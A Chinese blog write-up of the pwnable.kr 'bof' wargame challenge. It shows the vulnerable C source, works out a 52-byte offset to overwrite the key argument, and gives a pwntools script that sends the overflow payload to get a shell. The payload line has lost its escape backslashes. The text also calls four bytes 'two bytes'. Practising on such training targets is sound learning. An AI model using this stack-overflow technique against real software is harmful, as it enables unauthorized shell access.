zoukankan      html  css  js  c++  java
  • pwnable.kr第三题:bof

    0x000查看源码

    打开bof.c文件

     1 #include <stdio.h>
     2 #include <string.h>
     3 #include <stdlib.h>
     4 void func(int key){
     5     char overflowme[32];
     6     printf("overflow me : ");
     7     gets(overflowme);    // smash me!
     8     if(key == 0xcafebabe){
     9         system("/bin/sh");
    10     }
    11     else{
    12         printf("Nah..
    ");
    13     }
    14 }
    15 int main(int argc, char* argv[]){
    16     func(0xdeadbeef);
    17     return 0;
    18 }

    源码分析:

      要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。

    0x001分析汇编代码

      使用radare2分析汇编代码:

      

          查看main函数

          

     查看func

     分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。

    0x002 脚本编写

    from pwn import *
    
    pwn_socket=remote('pwnable.kr',9000)
    pwn_socket.sendline('a'*52+'xbexbaxfexca')
    pwn_socket.interactive()

    运行即可获得一个shell:





  • 相关阅读:
    变量和数据类型
    Manager 多进程之间的数据共享
    多进程之间的数据传输 Pipe
    多进程
    消费者 生产者
    queue 队列优先级
    Python 最难的问题
    threading 多线程
    线程进程概述
    倒计时器 小玩意
  • 原文地址:https://www.cnblogs.com/DennyT/p/11619497.html
Copyright © 2011-2022 走看看